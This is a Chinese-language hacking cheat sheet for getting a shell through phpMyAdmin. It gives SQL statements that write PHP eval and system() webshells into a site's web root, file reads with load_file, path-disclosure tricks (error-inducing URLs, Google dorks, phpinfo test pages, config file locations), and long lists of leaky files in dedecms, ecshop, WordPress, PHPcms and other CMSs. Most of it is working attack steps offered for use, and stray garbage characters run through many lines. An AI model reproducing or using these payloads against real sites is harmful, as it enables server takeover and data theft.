phpmyadmin后台拿shell

admin

方法一：
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
& ?' p9 P% V. C5 OSELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
2 b* a" d# i/ S----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
一句话连接密码：xiaoma

方法二：
0 f( w; E0 W5 f$ |3 U Create TABLE xiaoma (xiaoma1 text NOT NULL);
5 j3 D  Q' y) W2 S Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;

方法三：

读取文件内容：    select load_file('E:/xamp/www/s.php');

写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'

cmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'

4 @( X6 x* a4 k
方法四：
select load_file('E:/xamp/www/xiaoma.php');
$ J6 _* N% y/ }, m
) z7 P& _' v/ T9 k; Y select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
8 y* u1 l, u' s& o7 c$ f- S$ Y 然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
$ c% P. Z5 o# c  S' e" E. W6 x1 R* o8 S

5 P& Z5 b8 x8 U- v" c2 l

' v. o" s- L1 |, \
9 a. A  s8 K! P4 Yphp爆路径方法收集 ：



( A$ g6 V9 ^* N) d
0 t$ F  ]6 f& ]* i1、单引号爆路径
9 |4 F1 I+ R. H: G( g说明：
# y; N% z% U7 X1 Q直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′
" Q; R# x7 `, H2 P+ }0 Z
0 e% r' P) w% @! _4 W! b2、错误参数值爆路径
说明：
将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
3 _0 \$ i/ c( o* W) bwww.xxx.com/researcharchive.php?id=-1

9 m' `( }4 [1 v5 F/ A0 h3、Google爆路径
说明：
/ I' S) G5 v& h5 w) f结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
' ~' c* G/ @4 m4 Q3 JSite:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
' d; B0 I" M2 B0 A- ^. m8 Z
" g6 ~; D% b. f  L! G4 h4、测试文件爆路径
  T/ R' _& R3 p% B) K, c说明：
很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
5 n( U* m/ G+ ~1 L3 k& xwww.xxx.com/test.php
www.xxx.com/ceshi.php
$ N/ x; Q1 V+ l3 Awww.xxx.com/info.php
www.xxx.com/phpinfo.php
% x/ ?: [6 f+ x6 o3 owww.xxx.com/php_info.php
+ l4 \: o4 s' B$ ?% E6 e! Iwww.xxx.com/1.php
1 R" B( d4 s8 x2 s8 B* L) G
5、phpmyadmin爆路径
% k7 K. d2 K4 b" h说明：
一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
2 P3 O% r: l$ O$ a1. /phpmyadmin/libraries/lect_lang.lib.php
5 ?" G! u& `5 X1 V2 T. B4 p& n- u2./phpMyAdmin/index.php?lang[]=1
0 x5 n0 W5 y7 L- c) F9 N4 F; F3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
$ N" j) n, ^' A  n/ V6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
, J: T6 {1 D( B5 W
6、配置文件找路径
说明：
如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
* o. `' N# W0 s: F
: U% j3 w2 E5 a9 N3 _8 q% NWindows:
c:\windows\php.ini                                    php配置文件
8 I1 ]! W& h1 e6 n9 wc:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件

Linux:
( q3 K/ d& r; |- d1 r/etc/php.ini                                           php配置文件
( z) L! T$ D/ f+ ?$ r/etc/httpd/conf.d/php.conf
) @( C9 L' L( b( ?: n/etc/httpd/conf/httpd.conf                             Apache配置文件
' a3 r# b6 g1 V/ m/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
! Q4 _1 q4 r1 F! r/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件

7、nginx文件类型错误解析爆路径
说明：
这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
" k8 t; E7 Q- G2 Nhttp://www.xxx.com/top.jpg/x.php

: H+ t8 W& O- Z+ D' s8、其他
/ `. E  H: a0 Q& bdedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
7 k) J1 i, l% L* K) I) }' t' upaycenter/nps/config_pay_nps.php
4 N8 P; R, r" e5 zplus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php

WP
% [9 b+ Q7 Q! ^3 Dwp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
' m2 D5 D. I( U4 I% |) O
ecshop商城系统暴路径漏洞文件
/api/cron.php
" S7 [, [  Q& W; u0 k/wap/goods.php
' }" i3 x7 V# W( A/temp/compiled/ur_here.lbi.php
6 F5 Z  h6 i9 ]5 r# n/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
+ |6 d7 Y( o# L# _5 u7 y/ d/temp/compiled/history.lbi.php
9 \% Y. V# ?5 V2 }2 x- q/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
0 e3 c3 _6 r6 V/temp/compiled/user_clips.dwt.php
7 D3 N& [8 g% \; ?/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
$ d: A1 E/ y& s( w/temp/compiled/recommend_promotion.lbi.php
- e: Y1 J- S, Q3 K/temp/compiled/search.dwt.php
5 h3 A( @! V1 X6 U. I& ?( P1 N; M. Q3 a/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
( U( E; Z& h( P/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
" e9 D: o- E" e* j$ B/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
* ?5 g8 z' r7 ]* _0 n3 ]; P/temp/compiled/admin/menu.htm.php
5 U7 Y" }; j: j4 K2 c/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
  o/ A& \7 \# U, Q+ F3 R/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
6 a8 G  y& X0 b! e5 I/temp/compiled/admin/top.htm.php
- D7 v0 u! e9 j0 f! O$ o4 ?* ?  y, x/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
9 b8 }' _1 m9 w6 s: Y/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
3 d4 o) e8 J& V/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/ z5 H: s" F* I8 }" ~& J/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
  {  v# x) y, d1 t8 _/temp/compiled/goods_gallery.lbi.php
( C( S* w  E5 |: p1 I/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
) @" o1 @. S, U
ucenter爆路径
ucenter\control\admin\db.php
2 l# b* \% J* ~! R3 R. i
/ x( S! ?% s& w' s- _' H. e1 h7 B; qDZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57

/ ?# k1 B0 s* J( xz-blog
. ~- ^# E9 c# L5 f7 t6 ?* Badmin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
, y8 H# @" C6 i6 F- k9 f
php168爆路径
3 G  C4 W2 t; Y. z5 x7 S8 I, Wadmin/inc/hack/count.php?job=list
7 k! f: G, k& X; Dadmin/inc/hack/search.php?job=getcode
! ~- L+ O6 e" Badmin/inc/ajax/bencandy.php?job=do
* m" T: {: L8 J$ r0 z" V$ }cache/MysqlTime.txt
, o0 a4 S& r+ x: D8 [- E: K
PHPcms2008-sp4
注册用户登陆后访问
  s5 C5 V! T$ h6 Gphpcms/corpandresize/process.php?pic=../images/logo.gif
, I' a& s$ S2 z  L% R$ B; B
bo-blog
' d! S7 p" q* D4 y6 MPoC:
/go.php/<[evil code]
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
2 {( R% w0 @7 q) j" E1 s+ dlib/default/special_act.php

/ T; p* h% Y, D' S1 h' ~8 r1 G